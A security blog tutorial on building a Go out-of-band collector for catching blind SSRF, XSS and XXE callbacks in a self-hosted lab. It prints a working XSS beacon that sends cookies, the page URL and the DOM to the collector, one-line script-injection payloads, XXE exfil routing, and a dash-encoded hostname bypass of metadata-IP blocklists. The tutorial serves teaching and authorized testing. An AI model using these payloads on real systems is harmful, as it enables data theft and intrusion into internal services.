Beacon Calls: Blind Bugs, and the Collector That Catches Them
![]()
When I first started hunting for web security bugs, I took the traditional path of looking for authorization issues. A whole lot of 403 responses were my expected experience when trying to access User A’s data as User B. Every once in a while you return a 200 on something you shouldn’t be able to, and that dopamine spike hits like nothing else. This type of testing is very straightforward whether it succeeds or not. I had heard about “out-of-band” styles of attacks, but I never bothered to actually try them until recently. These attacks are more subtle, but equally can be as devastating (or worse) than broken access control. My personal journey of learning this style of ethical web hacking has been excellent and rewarding, and this series will explore how I learned it.
You see a form that expects a URL. You scratch your chin and wonder if you can force the server to visit URLs it really shouldn’t be. You craft a payload and… the response tells you almost nothing. The page comes back with a cheerful 200 OK or a redirect or a bland “test event sent,” and your instinct screams that nothing happened. So you move on. And you were wrong, because the actual proof of the bug was never going to arrive in that response. It was going to arrive seconds, minutes or months later, on a server you don’t control, triggered by a piece of software you will never see.
That is the whole personality of an out-of-band bug. The classic reflected XSS proves itself right there in your browser with an alert(1). A blind server-side request forgery, a stored payload that only fires in an admin’s panel, an XML parser running on some backend worker: none of those will ever show you the proof in-band. The exploit and the evidence are separated in both space and time. You can’t learn to hunt that against alert(1), because the feedback loop you rely on simply isn’t there.
This first post is about the piece you have to build before anything else makes sense: the collector. The thing that catches the callback. I wrote mine in Go, I named it Huginn, and by the end of this post you’ll understand exactly why a bare <script src=//yourhost> is a complete exploit when the collector is doing its half of the work, and why a hostname full of dashes walks straight past a filter that thinks it’s blocking access to cloud metadata.
This one started with a ticket, which feels right, because the lab you are about to meet is itself a helpdesk stuffed full of them.
Hi Collin,
The scanner flagged a blind SSRF on the webhook feature, and the dev team closed it as informational, no reflection in the response. Honestly I can see why they did: every request they sent came back a clean 200.
Before we escalate, I need proof it actually reaches out. There is nothing in the response to point at, so you will have to catch what the server does on its own, out of band.
Thanks, Dana
Let’s get into it.
Why a blind bug needs a collector, not a payload
TL;DR: An out-of-band bug is driven by a second actor, some backend worker or privileged viewer that runs your payload later, on a machine you never see. The only way you ever learn it happened is if that machine reaches back out to you. So before you think about a payload, you need a collector sitting there ready to catch the call.
The mental model that finally made this click for me is what I’ve started calling the second actor.
When you test a normal bug, there is one actor: you. You send the request, you read the response, the loop closes in your browser. When you test an out-of-band bug there are at least two actors, and the second one is the one that confirms the vulnerability. You inject a payload and walk away. Later, something else, a background worker rendering a PDF, a support agent opening your ticket in a privileged console, a link-preview fetcher, an XML parser, picks up what you planted and executes it. That second actor is on a machine you have no view into.
That reaching-out is the callback, and the collector is the thing sitting on the other end waiting to catch it. Here is the loop the whole lab teaches, drawn out:
THE OOB LOOP
YOU (attacker) TARGET HUGINN (collector)
------------ ------ ------------------
mint H ---------------------------------> record seed (token -> H)
spray payload(H) -----> stored in the app
inject (record it) -----------------------> mark it seeded
(you walk away) |
| LATER, a second actor:
|-- staff opens it in the admin console
|-- a worker renders a PDF / fetches a URL
|
payload runs / server fetches H
| DNS -------------------------> catch + correlate
| HTTP (beacon / exfil) ---------> catch + decode
+- FTP (multi-line exfil) --------> catch
oob events / oob report <---------------- correlated proof + latency + context
Everything to the right of that diagram is the collector’s job, and none of it is optional. If you spray a hundred payloads and have nowhere for the callbacks to land, you have learned nothing. Worse, you have taught yourself the false lesson that the target was safe, because the response looked fine every single time.
There are excellent collectors that already exist for real work, and you should know them: interactsh from ProjectDiscovery, and Burp Collaborator if you live in Burp. I run something similar for real hunting. But for a lab, I wanted a collector I could read end to end in one sitting, that a learner could build and run with no accounts and no cloud, so I wrote a small one. Old Norse gives us two ravens, Huginn (thought) and Muninn (memory); I named the lab’s collector Huginn, after the raven of thought. That is the entire reason it’s called Huginn, and I regret nothing.
Everything in this series runs against a lab you own. Point these techniques only at systems you have explicit permission to test, whether that is this lab or a target inside a bug bounty program's scope. The lab is fully self-contained: the callbacks land on a collector running on your own machine, and the metadata trick later in this post resolves to a fake metadata service inside Docker, never a real cloud endpoint.
DNS is the king channel
TL;DR: If you only get to catch one kind of callback, catch DNS. A lookup of your unique hostname proves the server parsed your input and tried to act on it, and DNS resolution is allowed out of almost every environment even when HTTP egress is firewalled shut. The core of the collector is a tiny authoritative DNS server that logs every query landing under your zone.
Here’s why. To make an HTTP request leave a server, a lot has to go right: outbound HTTP has to be allowed, the port has to be open, an egress firewall has to let it through. But before any of that, the machine almost always has to resolve a name. DNS resolution happens deep in the stack, it’s needed for nearly every outbound anything, and it is very commonly allowed even on hosts that are otherwise firewalled to the teeth. A DNS lookup of your unique hostname, all by itself, proves that something server-side parsed your input and tried to act on it. That is a genuine finding-grade signal even when no HTTP packet ever escapes.
To catch DNS callbacks against a real target, you need to be authoritative for a domain: its NS records point at your collector, so every lookup under that zone reaches you. In this lab that delegation is wired up for you inside Docker, so you can practice the entire loop with no domain, no cloud account, and nothing exposed to the internet, for free.
So the core of the collector is a tiny authoritative DNS server. You point a domain’s nameserver records at your box, and now you get to see every lookup for anything under that zone. Here is the actual handler at the heart of mine. It’s built on the wonderful miekg/dns library, which is the only external dependency in the whole project:
func (c *Collector) handleDNS(w dns.ResponseWriter, r *dns.Msg) {
m := new(dns.Msg)
m.SetReply(r)
m.Authoritative = true
remote := hostOnly(w.RemoteAddr().String())
for _, q := range r.Question {
name := strings.ToLower(strings.TrimSuffix(q.Name, "."))
ip := c.selfIP
// Log the lookup itself. A DNS hit alone proves server-side fetch/exec.
if strings.HasSuffix(name, c.zone) {
c.store.RecordEvent("dns", remote, "", "A? "+name, name, "")
}
if q.Qtype == dns.TypeA || q.Qtype == dns.TypeANY {
if rr, err := dns.NewRR(fmt.Sprintf("%s 5 IN A %s", q.Name, ip)); err == nil {
m.Answer = append(m.Answer, rr)
}
}
}
_ = w.WriteMsg(m)
}
The important line is the one that records the event before answering. We log the lookup as proof first, then hand back an A record so the fetcher can continue on to make its HTTP request if it’s able. DNS is the floor of what we detect, HTTP is the next rung up, and for the awkward cases (multi-line file reads over XXE, mostly) there’s an FTP catcher as a third rung, because an FTP URL survives newlines that would corrupt an HTTP one. Catch what you can; DNS is the channel that almost never fails.
If you want the formal names for what a DNS-only exfil channel is, MITRE ATT&CK files it under Exfiltration Over Alternative Protocol: DNS and application-layer use of DNS under T1071.004. Same idea, defender’s vocabulary.
So what does firing one actually look like from the attacker’s chair? There is no exploit console and no scary red payload. I mint a callback host, and I paste it into a completely ordinary feature: a webhook endpoint URL in the target’s integration settings.
![]()
I save it, and the app does exactly what it advertises. It tells me a test event was sent to my endpoint, and that cheerful little confirmation is the entire visible result.
![]()
That is the whole in-band experience of a blind SSRF: a green flash and nothing else. But the webhook test is handled by a background worker, the second actor, and over on the collector a few seconds later the picture is very different. The callback lands as both DNS and HTTP, and the source is a server address, not my browser:
![]()
That blankness in the browser is not the absence of a bug. It is the signature of a working blind one.
Correlation is the whole game
TL;DR: Minting bakes a unique token into the callback hostname, so every hit attributes itself back to the exact injection point with zero bookkeeping on your part. Anything you prepend to the left of the token rides home as free exfil data. That automatic attribution is what turns a pile of callbacks into actual evidence.
A collector that just tells you “something looked up a name” is a novelty. The thing that makes it a tool is correlation: knowing exactly which injection point produced which callback, automatically, with zero bookkeeping on your part.
The trick is to bake the attribution into the hostname before you ever spray it. When you mint a callback host, the collector generates a token shaped like <class>-<param>-<nonce> and hands you back H = <token>.oob.range. You spray that host, and when a lookup for it comes in, the collector splits the token back out of the name and looks it up in a map. If it’s a token it minted, the callback is attributed to that exact injection. If not, it’s an orphan. That inverse split is the entire correlation engine:
// extractToken splits "[<exfil-data>.]<token>.<zone>" into the token (the label
// left of the zone) and any exfil data prefixed before it.
func extractToken(name, zone string) (token, data string) {
name = strings.ToLower(strings.TrimSuffix(name, "."))
if name == "" || name == zone || !strings.HasSuffix(name, "."+zone) {
return "", ""
}
sub := strings.TrimSuffix(name, "."+zone)
parts := strings.Split(sub, ".")
token = parts[len(parts)-1]
if len(parts) > 1 {
data = strings.Join(parts[:len(parts)-1], ".")
}
return token, data
}
There are two cool consequences of encoding attribution in the name. The first is that you never hand-craft subdomains or keep a spreadsheet of “which weird string did I put in which field.” You mint, you spray, and the collector does the matching. The second is that any labels you put to the left of the token ride along as free exfil. whoami.<token>.oob.range delivers you both the attribution and the command output in one lookup.
In the lab this is driven by a tiny CLI. Minting looks like this, and it prints a menu of payloads pre-filled with your unique host so you can grab whichever one fits the sink you’re poking at:
🐦⬛ minted seed
token : ssrf-webhookurl-dbf586
H : ssrf-webhookurl-dbf586.oob.range your callback host
class : ssrf param=webhook_url vector=body
payloads (pick the one that fits the sink's context):
[canary ] <img src="//ssrf-webhookurl-dbf586.oob.range/c">
[dns ] nslookup ssrf-webhookurl-dbf586.oob.range
[http ] http://ssrf-webhookurl-dbf586.oob.range/
[metadata-dash] http://169-254-169-254.rebind.oob.range/latest/meta-data/
[userinfo ] http://allowed-host@ssrf-webhookurl-dbf586.oob.range/
Then, once the second actor has done its thing, you ask what came back:
$ oob events --token ssrf-webhookurl-dbf586
🎯 #1 DNS ssrf-webhookurl-dbf586 A? ssrf-webhookurl-dbf586.oob.range
🎯 #2 DNS ssrf-webhookurl-dbf586 A? ssrf-webhookurl-dbf586.oob.range
🎯 #3 HTTP ssrf-webhookurl-dbf586 GET ssrf-webhookurl-dbf586.oob.range/
That 🎯 means correlated. The collector matched the callback to the seed I minted, told me it fired as both DNS and HTTP, and stamped the latency and the source IP. That is the moment a blind bug stops being a guess and becomes a lead.
This is great, the callback is exactly what we needed to reopen the report.
One ask before we submit: a ping proves the server fetched your host, but the writeup needs impact. Can you show it reaching something that matters, the internal metadata endpoint, a real file on disk, anything past a bare lookup? A contextless callback is a lead, not a finding.
Thanks, Dana
Serving the payload’s other half
TL;DR: The collector serves content as well as catching it, which makes a bare
<script src=//H></script>a complete blind XSS: it pulls the beacon, and the beacon reports back the URL, title, and DOM of wherever it ran. When that context is an admin console you have never seen, with an empty HttpOnly cookie, you have proof of cross-user execution and a clear place to pivot.
Here’s the part that reframed how I think about half my payloads. The collector is not a passive mailbox. It also serves content, which means a lot of “incomplete looking” payloads are actually complete, because the collector is quietly supplying the other half.
Take blind XSS. You’ve probably seen people wire up a big beacon script hosted somewhere, then inject a <script> that loads it. But if your collector serves a beacon on any path by default, then the entire payload you need to inject is this:
"><script src=//<H>></script>
That’s it. You don’t host anything, you don’t stage anything. Landing execution is the only hard part, and the collector handles everything after. In practice you drop that one line into an input as mundane as a support ticket body, and then you close the tab:
![]()
The default HTTP route just returns the beacon, and the beacon phones home with the context that turns “it ran” into “it ran here, as this user, with this DOM”:
func beaconJS(host string) string {
return `(function(){try{` +
`var d={url:location.href,cookie:document.cookie,title:document.title,` +
`referrer:document.referrer,ua:navigator.userAgent,` +
`dom:(document.documentElement&&document.documentElement.outerHTML||'').slice(0,2000)};` +
`var s=JSON.stringify(d);` +
`if(navigator.sendBeacon){navigator.sendBeacon('//` + host + `/beacon',s);}` +
`else{fetch('//` + host + `/beacon',{method:'POST',body:s,mode:'no-cors'});}` +
`}catch(e){}})();`
}
The same collector also decides, per request path, whether you’re asking for the beacon or for an XXE exfil DTD. One little routing switch covers both jobs:
switch {
case strings.HasSuffix(path, ".dtd"):
// Serve a parameter-entity DTD that reads a file and exfils it back to us.
w.Header().Set("Content-Type", "application/xml-dtd")
io.WriteString(w, xxeDTD(host, file))
default:
// Default: serve the BXSS beacon, so `<script src=//H></script>` is a
// complete, context-collecting payload. You only ever have to land execution.
w.Header().Set("Content-Type", "application/javascript")
io.WriteString(w, beaconJS(host))
}
In the lab, the target ships a headless support agent that triages incoming tickets on a timer, so a stored blind-XSS payload in a ticket body fires in the agent’s privileged console without me clicking anything. Here is what came back. Check out the ctx line:
![]()
Two things in that beacon are worth considering. First, the url is the admin console (/admin/tickets/4), not my own customer view. The payload ran cross-user, in a session I have no access to, which is exactly the escalation that makes blind XSS matter. The beacon even scraped a staff-only build marker out of the admin DOM, which is the lab’s little flag for that class.
Second, and this is more interesting: cookie came back empty. The session cookie is HttpOnly, so JavaScript can’t read it. That is a good reminder that cookie theft is not always the win. When the cookie is off the table you pivot to what the running script can do inside that privileged origin: read the DOM, hit internal endpoints, perform actions as that user. The beacon proving execution is the start of the work, not the end of it.
Walking past reserved-IP filters
TL;DR: SSRF defenses often blocklist the cloud metadata address
169.254.169.254as a string, which a dash-encoded hostname like169-254-169-254.rebind.oob.rangesails right past. Your collector is authoritative for that zone, so it decodes the dashes and answers with the internal address, and the target’s own request machinery connects to it. The dangerous value never appears in the URL, only in a DNS answer the target already trusts.
Now the fun one. This is the payload in that mint menu labeled metadata-dash, and it’s my favorite thing in the whole collector.
Blind SSRF gets really interesting when you can point it at a cloud instance’s metadata service, which classically lives at 169.254.169.254. That address is a goldmine, so defenses against SSRF very often include a blocklist: reject any URL whose host is 169.254.169.254, or is localhost, or parses to a private or link-local range. The naive version of that check is a string match, and string matches are dangerously brittle.
So instead of handing the target a URL with 169.254.169.254 in it, you hand it a normal-looking hostname: 169-254-169-254.rebind.oob.range. To a filter scanning for reserved IP addresses, that is just some domain. It contains no dotted-decimal address, nothing on any blocklist. Here it is going into the very same webhook field the plain SSRF went into, looking like the most boring integration URL in the world:
![]()
But your collector is actually authoritative for that zone, and it knows to decode the dashes back into an address and answer with it. This is the decoder, and it is deliberately boring:
// dashIP turns a dash-encoded IPv4 label ("169-254-169-254") into dotted form
// ("169.254.169.254"), or "" if it isn't one. The SSRF-filter-bypass primitive:
// a hostname carrying an internal IP in a form no reserved-IP filter recognizes.
func dashIP(label string) string {
parts := strings.Split(label, "-")
if len(parts) != 4 {
return ""
}
for _, p := range parts {
n, err := strconv.Atoi(p)
if err != nil || n < 0 || n > 255 {
return ""
}
}
return strings.Join(parts, ".")
}
The target resolves the name, gets back the metadata address, and its own request machinery cheerfully connects to it. The filter never had a chance, because the risky value only ever existed as an answer from a DNS server the target trusted. In the lab, DNS re-points that decode at a fake metadata service (Docker won’t hand a container the real link-local address), so you can practice the whole flow safely. You can see the resolution land on the dashboard as a lookup for 169-254-169-254.rebind.oob.range, the reddish row in the screenshot back in the correlation section.
If you want to go deeper on the defensive side of this, the OWASP SSRF Prevention Cheat Sheet is the right reference, and it is refreshingly blunt that blocklisting by string is a losing game. The address itself is a link-local address, which is why it shows up identically across so many cloud providers.
Keeping it hackable
TL;DR: The collector has a single external dependency and stores everything in a plain JSON file, so it compiles to one static binary that runs anywhere. That was deliberate for learning: every dependency is a barrier to a learner actually running the thing, and the whole point is that you can clone it and catch your first callback in about five minutes.
One design choice I want to clarify, because it shaped everything else: the collector has almost no dependencies, and it stores everything in a plain JSON file.
The entire external dependency list is github.com/miekg/dns. There’s no database, no SQLite, no cgo, nothing to provision. State is a JSON file written atomically, and the whole thing compiles to a single static binary of around 11 MB that runs anywhere. That was a deliberate call, and the reasoning is simple: every dependency is a barrier to a learner actually running the thing. The moment a lab needs you to stand up Postgres and configure three services before you can catch your first callback, most people bounce, and I don’t blame them. I wanted “clone, build, run, catch a callback” to be a five-minute experience.
Here is the whole require block, and I think it makes the point better than I can:
module huginn
go 1.25
require github.com/miekg/dns v1.1.62
The dashboard you’ve been looking at is served by the same binary, reading the same JSON, polling for new events every couple of seconds. Here’s the full board after a short session of hunting, with a couple of classes fired and a flag captured:
![]()
Green rows correlated to a seed I minted, the greyed-out ones are orphans, and the seeds panel at the bottom tracks each injection from staged to fired to solved. That’s the entire feedback loop for blind bugs, on one screen, in one small program you can read top to bottom.
Where this goes next
TL;DR: A collector with nothing to point it at is just a patient DNS server, so a realistic target is what makes it worth anything. Next we build Deskmoor, the deliberately vulnerable helpdesk that plays the target here, and the two design choices that make it teach out-of-band bugs: a privileged viewer where stored payloads detonate, and an async worker that runs your input somewhere you never get to look.
The collector is the foundation, but a collector with nothing to point it at is just a very patient DNS server. A callback only teaches you something when it fires out of a realistic target: sinks hidden inside normal features, a second actor that renders your input somewhere you can’t see, and defenses good enough that your bypass has to actually be clever.
So in the next post we’ll build exactly that. I’ll walk through Deskmoor, the deliberately vulnerable helpdesk SaaS that plays the target in this lab, and the two design decisions that make it teach out-of-band bugs specifically: a separate privileged viewer where stored payloads detonate, and an async worker that runs your input later, on a machine you never get to look at. After that we go hunting, class by class.
If any of this is your kind of fun, I’d love to hear how you’d have built the collector differently. You can reach me through the links in the footer. Thanks for reading, and I’ll see you in the next one.
